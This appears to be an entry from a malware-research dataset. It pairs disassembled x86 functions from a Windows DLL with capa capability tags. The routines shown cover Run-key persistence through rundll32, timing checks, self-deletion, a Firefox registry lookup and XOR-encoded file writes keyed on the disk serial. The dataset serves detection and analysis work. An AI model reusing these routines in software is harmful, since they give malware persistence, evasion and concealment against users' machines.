joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003300
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x160
mov eax, dword [0x1001b0f8]
mov dword [ebp - 4], eax
call fcn.10003200
test al, al
je 0x10003322
push 2
pop eax
jmp 0x100033b5
push esi
push edi
push 0xa
pop ecx
mov esi, str.This_program_cannot_be_run_in_DOS_mode.
lea edi, [ebp - 0x58]
rep movsd dword es:[edi], dword [esi]
push 0x29
xor esi, esi
lea eax, [ebp - 0x30]
push esi
push eax
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x15c]
push eax
call fcn.10002ac7
add esp, 0x10
test eax, eax
je 0x1000339f
push esi
push esi
push 3
push esi
push 1
push 0x80000000
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000339f
push esi
push esi
push 0x4e
push edi
mov dword [ebp - 0x160], esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
lea eax, [ebp - 0x160]
push eax
push 0x28
lea eax, [ebp - 0x30]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
mov ecx, dword [ebp - 4]
call fcn.100112e6
leave
ret

Function at 0x100033bf
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
mov eax, dword [0x1001b0f8]
push ebx
push esi
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x150]
push eax
push dword [0x1001b6d4]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor ebx, ebx
push ebx
push ebx
push 3
push ebx
push 3
push 0x80000000
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10003466
push 2
push ebx
push 0xffffff54
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x1000345f
push edi
push 0x11
pop ecx
xor eax, eax
mov byte [ebp - 0x4c], bl
lea edi, [ebp - 0x4b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
stosb byte es:[edi], al
lea eax, [ebp - 0x154]
push eax
push 0x48
lea eax, [ebp - 0x4c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
pop edi
je 0x1000345f
push dword [ebp + 0xc]
lea eax, [ebp - 0x4c]
push dword [ebp + 8]
push 0x48
push eax
call fcn.10002cc9
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop esi
pop ebx
call fcn.100112e6
leave
ret
Function at 0x100034fd
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x2a0]
sub esp, 0x320
mov eax, dword [0x1001b0f8]
push esi
push str.setupapi.dll
mov dword [ebp + 0x29c], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor esi, esi
cmp eax, esi
mov dword [ebp - 0x74], eax
je 0x1000363d
push str.IsUserAdmin
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x70]
push eax
call fcn.10002d99
lea eax, [ebp + 0x94]
mov dword [esp], str.SOFTWAREMicrosoft_
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp + 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp + 0x94]
push eax
call fcn.1000ac72
test eax, eax
pop ecx
pop ecx
jne 0x10003630
push ebx
push edi
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp + 0x198]
push eax
push esi
push esi
push esi
push dword [ebp - 0x7c]
mov dword [ebp - 0x80], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp + 0x198]
push eax
call ebx
cmp eax, 0x21
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov edi, 0x10013594
jl 0x100035ea
push edi
lea eax, [ebp + 0x198]
push eax
call esi
lea ecx, [ebp + 0x198]
sub eax, ecx
cmp eax, 0x20
jne 0x100035ea
push 0x21
mov eax, ecx
push eax
push dword [ebp + 0x2ac]
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push edi
lea eax, [ebp + 0x198]
push eax
call esi
lea ecx, [ebp + 0x198]
sub ecx, eax
lea eax, [ebp + 0x198]
push eax
mov dword [ebp - 0x78], ecx
call ebx
mov ecx, dword [ebp - 0x78]
lea eax, [ecx + eax - 1]
cmp eax, 0x20
jne 0x1000362e
push 0x21
push edi
lea eax, [ebp + 0x198]
push eax
call esi
inc eax
push eax
push dword [ebp + 0x2a8]
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
pop edi
pop ebx
push dword [ebp - 0x74]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, 1
jmp 0x1000363f
xor al, al
mov ecx, dword [ebp + 0x29c]
pop esi
call fcn.100112e6
add ebp, 0x2a0
leave
ret

Function at 0x10003668
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0x100136e8
call fcn.1000ac52
add esp, 0xc
test eax, eax
jne 0x100036c9
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x10]
push eax
push 0
push str.SysShell
push dword [ebp - 4]
mov dword [ebp - 0xc], 0x10
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x100036c0
push 0x10
push 0
push dword [ebp + 8]
call sub.msvcrt.dll_memset
add esp, 0xc
push dword [ebp - 4]
call fcn.1000ac47
pop ecx
leave
ret 4

Function at 0x100036cd
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0x100136e8
call fcn.1000ac52
add esp, 0xc
test eax, eax
jne 0x1000371b
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0x10
lea eax, [ebp - 0x18]
push eax
push 3
push 0
push str.SysShell
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call fcn.1000ac8b
pop ecx
leave
ret
Function at 0x1000371d
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
lea eax, [ebp - 0x20]
push eax
mov edi, ecx
call fcn.10003668
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
mov esi, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
sub eax, edx
sbb ecx, esi
mov esi, dword [ebp + 8]
mov ebx, eax
mov eax, esi
mov edx, 0x989680
mul edx
cmp ecx, edx
jg 0x1000377b
jl 0x10003771
cmp ebx, eax
ja 0x1000377b
test ecx, ecx
jg 0x10003796
jl 0x1000377b
test ebx, ebx
jae 0x10003796
cmp dword [edi + 4], 0
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
je 0x1000379a
call ebx
imul esi, esi, 0x3e8
add esi, dword [edi + 4]
cmp esi, eax
jb 0x1000379a
xor al, al
jmp 0x100037a1
call ebx
mov dword [edi + 4], eax
mov al, 1
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x100050ef
Capabilities:
Get http content length

Disassembly:
mov eax, 0x100124d9
call fcn.10011420
sub esp, 0x30
mov eax, dword [0x1001b0f8]
push ebx
push esi
push edi
mov dword [ebp - 0x34], ecx
xor ebx, ebx
push ebx
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 0xf
call fcn.10001653
mov ecx, dword [ebp - 0x34]
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 4], ebx
call fcn.10005069
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
jae 0x10005137
lea eax, [ebp - 0x28]
push dword [ebp - 0x18]
mov edi, dword [ebp + 8]
mov esi, dword [sym.imp.WININET.dll_HttpSendRequestA]
push eax
push ebx
push ebx
push edi
call esi
test eax, eax
setne byte [ebp + 0xb]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x38]
push eax
push 0x20000005
push edi
mov dword [ebp - 0x38], ebx
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
cmp byte [ebp + 0xb], bl
jne 0x100051db
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
shl eax, 6
add eax, dword [0x1001bc54]
cmp dword [eax + 0x3c], 2
jne 0x100051db
cmp dword [ebp - 0x30], 0x2f0d
jne 0x100051db
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp + 8]
push eax
push 0x1f
push edi
mov dword [ebp - 0x30], 4
call dword [sym.imp.WININET.dll_InternetQueryOptionA]
or byte [ebp + 9], 1
push 4
lea eax, [ebp + 8]
push eax
push 0x1f
push edi
call dword [sym.imp.WININET.dll_InternetSetOptionA]
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
jae 0x100051cc
lea eax, [ebp - 0x28]
push dword [ebp - 0x18]
push eax
push ebx
push ebx
push edi
call esi
test eax, eax
setne byte [ebp + 0xb]
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.100016a3
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp + 0xb]
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.100112e6
leave
ret 4
Function at 0x100061bc
Capabilities:
Delete file
Get file size
Read file on windows

Disassembly:
mov eax, 0x100124d9
call fcn.10011420
sub esp, 0x530
mov eax, dword [0x1001b0f8]
push ebx
push esi
push edi
push 0x1001b910
xor ebx, ebx
push ebx
push 0x1f0003
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_OpenEventA]
cmp eax, ebx
mov dword [ebp - 0x53c], eax
je 0x1000637d
cmp eax, 0xffffffff
je 0x1000637d
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x10006371
push 0x104
lea eax, [ebp - 0x130]
push eax
push dword [0x1001b6d4]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x10006371
lea eax, [ebp - 0x130]
push 0x5c
push eax
call sub.msvcrt.dll_strrchr
mov esi, eax
lea eax, [ebp - 0x130]
push 0x2f
push eax
call sub.msvcrt.dll_strrchr
add esp, 0x10
cmp esi, eax
lea eax, [ebp - 0x130]
jbe 0x10006260
push 0x5c
jmp 0x10006262
push 0x2f
push eax
call sub.msvcrt.dll_strrchr
pop ecx
pop ecx
mov byte [eax + 1], bl
push 0x1001b2f0
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, ebx
je 0x10006371
cmp edi, 0xffffffff
je 0x10006371
push ebx
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x14], 0xf
call fcn.10001653
push ebx
push edi
mov dword [ebp - 4], ebx
xor esi, esi
mov dword [ebp - 0x534], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x538], eax
push ebx
lea eax, [ebp - 0x534]
push eax
push 0x400
lea eax, [ebp - 0x530]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1000631a
mov eax, dword [ebp - 0x534]
cmp eax, ebx
jbe 0x1000631a
mov byte [ebp + eax - 0x530], bl
lea eax, [ebp - 0x530]
push eax
lea ecx, [ebp - 0x2c]
call fcn.1000418a
add esi, dword [ebp - 0x534]
jmp 0x100062d3
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, dword [ebp - 0x538]
jne 0x10006359
mov ecx, 0x1001bc50
call fcn.1000286b
push 0x1001bc50
sub esp, 0x1c
lea eax, [ebp - 0x2c]
mov ecx, esp
mov dword [ebp - 0x538], esp
push eax
call fcn.10001a0a
call fcn.10005b34
add esp, 0x20
call fcn.1000b1b6
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.100016a3
push dword [ebp - 0x53c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
call fcn.100112e6
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10006aa3
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push 0x15180
mov esi, ecx
call fcn.1000371d
test al, al
je 0x10006adf
lea eax, [ebp - 8]
push eax
xor eax, eax
push eax
push esi
push 0x10006a4e
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
mov ecx, 0x1001b16c
call fcn.10005202
pop esi
leave
ret

Function at 0x10006c1f
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0xa0
mov eax, dword [0x1001b0f8]
push esi
push edi
push 0x24
mov dword [ebp + 0x74], eax
pop ecx
xor eax, eax
mov dword [ebp - 0x20], 0x94
lea edi, [ebp - 0x1c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x20]
push eax
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x10006ca6
cmp dword [ebp - 0x1c], 6
jb 0x10006ca6
lea eax, [ebp - 0x24]
push eax
push 0x10017e7c
push esi
push esi
push 0x10017e6c
mov dword [ebp - 0x24], esi
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x10006ca6
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
push esi
push 4
lea edx, [ebp - 0x28]
push edx
push 0x2500
push 3
push eax
call dword [ecx + 0x1c]
test eax, eax
jl 0x10006c9d
xor eax, eax
cmp dword [ebp - 0x28], esi
sete al
mov esi, eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [ebp + 0x74]
pop edi
mov eax, esi
pop esi
call fcn.100112e6
add ebp, 0x78
leave
ret
Function at 0x1000732b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [esi + 0x24]
push edi
mov edi, dword [esi + 0x34]
sub edi, dword [esi + 0x6c]
mov eax, dword [esi + 0x64]
mov ecx, dword [esi + 0x24]
sub edi, eax
lea ecx, [ebx + ecx - 0x106]
cmp eax, ecx
mov dword [ebp - 8], edi
jb 0x100073b8
mov eax, dword [esi + 0x30]
push ebx
lea ecx, [eax + ebx]
push ecx
push eax
call sub.msvcrt.dll_memcpy
mov eax, dword [esi + 0x44]
mov ecx, dword [esi + 0x3c]
sub dword [esi + 0x68], ebx
sub dword [esi + 0x64], ebx
add esp, 0xc
sub dword [esi + 0x54], ebx
mov dword [ebp - 4], eax
lea eax, [ecx + eax*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x10007378
mov eax, dword [esi + 0x38]
mov dword [ebp - 4], ebx
lea eax, [eax + ebx*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x1000739a
add edi, ebx
mov dword [ebp - 8], edi
mov edi, dword [esi]
cmp dword [edi + 4], 0
je 0x10007476
mov eax, dword [esi + 0x6c]
add eax, dword [esi + 0x64]
mov ecx, dword [edi + 4]
add eax, dword [esi + 0x30]
mov edx, dword [ebp - 8]
cmp ecx, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], ecx
jbe 0x100073e0
mov dword [ebp - 4], edx
mov edx, dword [ebp - 4]
test edx, edx
jne 0x100073eb
xor eax, eax
jmp 0x10007437
sub ecx, edx
mov dword [edi + 4], ecx
mov ecx, dword [edi + 0x1c]
mov ecx, dword [ecx + 0x18]
cmp ecx, 1
jne 0x10007408
push edx
push dword [edi]
push dword [edi + 0x30]
call fcn.10006d8c
jmp 0x10007418
cmp ecx, 2
jne 0x10007421
push edx
push dword [edi]
push dword [edi + 0x30]
call fcn.100070f2
mov dword [edi + 0x30], eax
mov eax, dword [ebp - 0xc]
add esp, 0xc
push dword [ebp - 4]
push dword [edi]
push eax
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 4]
add dword [edi], eax
add esp, 0xc
add dword [edi + 8], eax
add dword [esi + 0x6c], eax
mov edi, dword [esi + 0x6c]
cmp edi, 3
jb 0x10007462
mov eax, dword [esi + 0x64]
mov ecx, dword [esi + 0x30]
lea edx, [eax + ecx]
movzx eax, byte [edx]
mov ecx, dword [esi + 0x50]
mov dword [esi + 0x40], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [esi + 0x4c]
mov dword [esi + 0x40], eax
cmp edi, 0x106
jae 0x10007476
mov eax, dword [esi]
cmp dword [eax + 4], 0
jne 0x10007336
pop edi
pop ebx
leave
ret
Function at 0x1000ab64
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
xor eax, eax
push eax
push eax
push eax
push eax
lea ecx, [ebp - 4]
push ecx
push eax
push eax
push 0x10013334
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
nop
xor dword [ebp - 4], 0xaf
nop
push dword [ebp - 4]
push str._08x
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
leave
ret

Function at 0x1000aca0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x1a0]
sub esp, 0x220
mov eax, dword [0x1001b0f8]
and dword [ebp - 0x80], 0
mov dword [ebp + 0x19c], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x7c]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
call fcn.1000ac52
add esp, 0xc
test eax, eax
jne 0x1000ad62
lea eax, [ebp + 0x190]
push eax
call fcn.1000ab64
push dword [ebp + 0x1a8]
lea eax, [ebp - 0x78]
push str.___s_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp + 0x8c]
push str.rundll32.exe
push eax
call sub.msvcrt.dll_strcpy
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0x8c]
push eax
call sub.msvcrt.dll_strcat
lea eax, [ebp + 0x8c]
push 0x10017a80
push eax
call sub.msvcrt.dll_strcat
add esp, 0x28
lea eax, [ebp + 0x8c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp + 0x8c]
push eax
push 1
push 0
lea eax, [ebp + 0x190]
push eax
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x7c]
call fcn.1000ac8b
pop ecx
mov ecx, dword [ebp + 0x19c]
call fcn.100112e6
add ebp, 0x1a0
leave
ret

Function at 0x1000ad75
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1001b0f8]
and dword [ebp - 0x18], 0
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push eax
call fcn.1000ab64
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
call fcn.1000ac52
add esp, 0x10
test eax, eax
jne 0x1000adbf
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 0x14]
call fcn.1000ac8b
pop ecx
push esi
mov esi, str.SoftwareMicrosoftcontim
push esi
call fcn.1000ac27
push esi
call fcn.1000ac37
pop ecx
pop ecx
mov ecx, dword [ebp - 4]
pop esi
call fcn.100112e6
leave
ret

Function at 0x1000b10f
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword [ebp + 8], 0
je 0x1000b163
lea eax, [ebp - 4]
push eax
push 1
push 0
push str.SOFTWAREMozillaMozilla_Firefox
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000b163
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x32
push 0
push 0
push str.CurrentVersion
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
leave
ret
xor al, al
leave
ret
Function at 0x1000b72a
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push esi
push esi
push esi
lea eax, [ebp - 4]
push eax
push esi
push esi
push 0x10013334
mov dword [ebp - 4], 0x123
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
nop
push dword [ebp - 4]
push str._af08x
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
pop esi
leave
ret
Function at 0x1000bcc9
Capabilities:
Move file

Disassembly:
mov eax, 0x1001264e
call fcn.10011420
sub esp, 0x58
mov eax, dword [0x1001b0f8]
push ebx
push esi
xor esi, esi
push edi
mov dword [ebp - 0x10], eax
inc esi
lea edi, [ecx + 0xac]
xor eax, eax
mov al, byte [esi + 0x10017c14]
push eax
lea eax, [ebp - 0x48]
push edi
push eax
call fcn.1000bc42
mov eax, dword [ebp - 0x44]
add esp, 0xc
cmp dword [ebp - 0x30], 0x10
jae 0x1000bd0c
lea eax, [ebp - 0x44]
push dword [ebp + 8]
push eax
call sub.msvcrt.dll_fopen
pop ecx
pop ecx
push 0
lea ecx, [ebp - 0x48]
push 1
mov ebx, eax
call fcn.100016a3
test ebx, ebx
jne 0x1000bd2c
dec esi
jns 0x1000bcea
xor esi, esi
cmp ebx, esi
jne 0x1000bda3
push 0x74
lea eax, [ebp - 0x64]
push edi
push eax
call fcn.1000bc42
push 0x31
lea eax, [ebp - 0x2c]
push edi
push eax
mov dword [ebp - 4], esi
call fcn.1000bc42
mov ecx, dword [ebp - 0x28]
add esp, 0x18
cmp dword [ebp - 0x14], 0x10
jae 0x1000bd5c
lea ecx, [ebp - 0x28]
cmp dword [ebp - 0x4c], 0x10
mov eax, dword [ebp - 0x60]
jae 0x1000bd68
lea eax, [ebp - 0x60]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
je 0x1000bd8d
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
jae 0x1000bd80
lea eax, [ebp - 0x28]
push dword [ebp + 8]
push eax
call sub.msvcrt.dll_fopen
pop ecx
pop ecx
mov ebx, eax
push esi
push 1
lea ecx, [ebp - 0x2c]
call fcn.100016a3
push esi
push 1
lea ecx, [ebp - 0x64]
call fcn.100016a3
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
mov eax, ebx
pop ebx
call fcn.100112e6
leave
ret 4
Function at 0x1000c63e
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x1001b0f8]
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0xd4]
push edi
mov ecx, ebx
mov dword [ebp + 0x98], eax
call fcn.1000b6d0
cmp eax, 0x10
jbe 0x1000c677
push 0x10
mov ecx, ebx
call fcn.1000c346
mov ecx, ebx
call fcn.1000b6d0
push dword [ebp + 0xa4]
mov edi, 0x10017c0c
push 1
push edi
mov dword [ebp - 0x80], eax
call sub.msvcrt.dll_strlen
pop ecx
push eax
push edi
call sub.msvcrt.dll_fwrite
push dword [ebp + 0xa4]
lea eax, [ebp - 0x80]
push 1
push 4
push eax
call sub.msvcrt.dll_fwrite
push edi
call sub.msvcrt.dll_strlen
mov ecx, dword [ebp - 0x80]
add eax, 4
lea eax, [eax + ecx*8]
add esp, 0x24
mov ecx, ebx
mov dword [ebp - 0x78], eax
xor edi, edi
call fcn.1000b6d0
test eax, eax
jbe 0x1000c721
push dword [ebp + 0xa4]
lea eax, [ebp - 0x78]
push 1
push 4
push eax
call sub.msvcrt.dll_fwrite
push dword [ebp + 0xa4]
mov eax, dword [esi + 0xd8]
mov ebx, edi
push 1
shl ebx, 3
add eax, ebx
push 4
push eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esi + 0xd8]
add eax, ebx
mov eax, dword [eax]
add dword [ebp - 0x78], eax
add esp, 0x20
lea ecx, [esi + 0xd4]
inc edi
call fcn.1000b6d0
cmp edi, eax
jb 0x1000c6d1
and dword [ebp - 0x74], 0
lea ecx, [esi + 0xd4]
call fcn.1000b6d0
test eax, eax
jbe 0x1000c7e2
mov edi, dword [ebp - 0x74]
mov eax, dword [esi + 0xd8]
shl edi, 3
add eax, edi
xor ebx, ebx
cmp dword [eax], ebx
je 0x1000c7cb
push dword [eax]
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x6c]
push eax
call fcn.1000b72a
mov eax, dword [esi + 0xd8]
add eax, edi
cmp dword [eax], ebx
pop ecx
pop ecx
mov dword [ebp - 0x70], ebx
jbe 0x1000c7a6
mov eax, dword [eax + 4]
mov al, byte [eax + ebx]
mov ecx, dword [ebp - 0x70]
xor al, byte [ebp + ecx - 0x6c]
mov ecx, dword [ebp - 0x7c]
inc dword [ebp - 0x70]
mov byte [ebx + ecx], al
lea eax, [ebp - 0x6c]
push eax
call sub.msvcrt.dll_strlen
cmp dword [ebp - 0x70], eax
pop ecx
jne 0x1000c799
and dword [ebp - 0x70], 0
mov eax, dword [esi + 0xd8]
inc ebx
add eax, edi
cmp ebx, dword [eax]
jb 0x1000c770
mov eax, dword [esi + 0xd8]
push dword [ebp + 0xa4]
add eax, edi
push dword [eax]
push 1
push dword [ebp - 0x7c]
call sub.msvcrt.dll_fwrite
push dword [ebp - 0x7c]
call sub.msvcrt.dll_free
add esp, 0x14
inc dword [ebp - 0x74]
lea ecx, [esi + 0xd4]
call fcn.1000b6d0
cmp dword [ebp - 0x74], eax
jb 0x1000c738
mov ecx, dword [ebp + 0x98]
pop edi
pop esi
pop ebx
call fcn.100112e6
add ebp, 0x9c
leave
ret 4